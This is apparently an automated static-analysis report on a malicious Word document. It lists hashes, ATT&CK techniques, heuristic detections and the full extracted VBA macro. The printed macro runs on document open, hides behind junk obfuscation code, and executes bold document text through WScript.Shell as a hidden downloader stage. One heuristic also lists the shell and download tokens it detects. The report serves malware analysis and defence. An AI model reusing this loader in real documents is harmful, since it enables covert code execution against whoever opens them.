Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 6fb14ac81ea290e9…

MALICIOUS

Office (OOXML) / .DOCX

47.9 KB Created: 2020-03-25 18:38:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 33e988c6abce9cecfbeada79141057c4 SHA-1: 20dd8bd309dd6dd7e18cb7844d080975a570e7e8 SHA-256: 6fb14ac81ea290e95a5fb967fe3413a3d14848dd910c525ff38b61d41cfd76fe
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The 'Document_Open' macro is designed to execute automatically upon opening the document. It utilizes 'WScript.Shell' and 'CreateObject' to likely download and execute a second-stage payload from a URL, indicated by the obfuscated string concatenation in the VBA code. The presence of these indicators strongly suggests a macro-based downloader attack.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set jhgfdsffghbb = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set jhgfdsffghbb = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3560 bytes
SHA-256: 01a6155587ea33cf744d410983561dd038481bf7f1eb397b6f6241217eb9ce73
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Document_Open()
Call hjnbb
End Sub


Private Sub hjnbb()

If 47.545 + Sin(85.8766) = Log(56.678) + Cos(784.5678) Then




Else

While "ngfdgg" = "hjgfdsgh"
gdfgjkkkd = "gdfhjj"
sdgssRh = "sdghu7t"
Wend


If "vb6" = "scvv" Then
While "SNRR" = "mPKM"
AOWR = 7.67
uEPq = "Zcv"
doqY = 4.53
mY = 4.6
Wend
fmFXs = "GXmXFi"
gaVPRb = "RZL"
PaQ = 10
OXBk = 8#
AC = 5#
JQqej = "fy"
jIReucz = 2.81
JhE = 99089
byv = "wDtc"
BCFNb = "HOn"
oDjbtb = 5.16
Lr = 78
Xveow = 2.58
iBvYNoY = "Hat"
End If


Dim Words, Chars, MyString
For Words = 10 To 1 Step -1 ' Set up 10 repetitions.
 For Chars = 0 To 9 ' Set up 10 repetitions.
 MyString = MyString & Chars ' Append number to string.
 Next Chars ' Increment counter
 MyString = MyString & " " ' Append a space.
Next Words

Call cGfnpYu

End If


End Sub




Attribute VB_Name = "ooMHdwwts"


#If VBA7 Then


#Else


#End If




Public Sub cGfnpYu()

On Error Resume Next


If 3103192624758# > 35817331156928# Then


Dim nzkjkzpjvadnicwomtlr As Long


nzkjkzpjvadnicwomtlr = (5 - 5) / 15


If IsDate(iutqdcxuowkd) And ((5102 + 7) / (73978077 + 2)) <> 3103192624758# Then

End If



End If


If 2 > 92802769513791# Then


Dim vgyna As Long


vgynaz = (92802769513791# - 7) / 5


If IsDate(pQS4udMems1WIH1Y) And ((5102 + 7) / (73978077 + 2)) <> 3103192624758# Then

End If



End If




   Dim myShape As InlineShape
    Dim myRange As Range
    For Each myRange In ActiveDocument.StoryRanges
        For Each myShape In myRange.InlineShapes
            myShape.Delete
        Next myShape
    Next myRange
Dim privadte As String
Dim oRng As Range
Dim oNewRng As Range
Set oRng = Selection.Range '(the formatted range you are wanting to write)
oRng.MoveEndWhile Chr(32), wdBackward 'Remove trailing spaces from the range
Set oNewRng = ActiveDocument.Range 'Locate the range where it is to be written
oNewRng.Collapse wdCollapseEnd
'oNewRng.FormattedText = oRng 'then write it.





 Dim Para As Paragraph
    Dim i As Long

    Application.ScreenUpdating = False
    With ActiveDocument
        For i = .Paragraphs.Count To 1 Step -1
            Set Para = .Paragraphs(i)
            With Para
                If .Range.End - .Range.Start = 1 Then
                    .Range.Delete
                Else
                    .SpaceBefore = 6
                    .SpaceAfter = 6
                End If
            End With
        Next i
    End With
    Application.ScreenUpdating = True




Dim singleLine As Paragraph
   Dim rng As Range
   Dim pos As Integer
    Dim Wrd As Range

   For Each singleLine In ActiveDocument.Paragraphs
      Set rng = singleLine.Range
   
   
    
    
         If rng.Font.Bold Then
            'MsgBox "This is bold"
               lineText = singleLine.Range.Text
          OTmXgwc = OTmXgwc + lineText
        
       ' MsgBox (OTmXgwc)
         End If
     
   Next


OTmXgwc = Replace(OTmXgwc, "mkihlvjdy", "")

If Log(54.453) = 54.5434 Then

MsgBox (OTmXgwc1)
Else

End If
Set jhgfdsffghbb = CreateObject("WScript.Shell")
jhgfdsffghbb.Run OTmXgwc, 2 - 2.1


End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: 7a1f59d9df88d3a73c93e8a76bb7de48139f139f7011a86b0fef4a18d2168224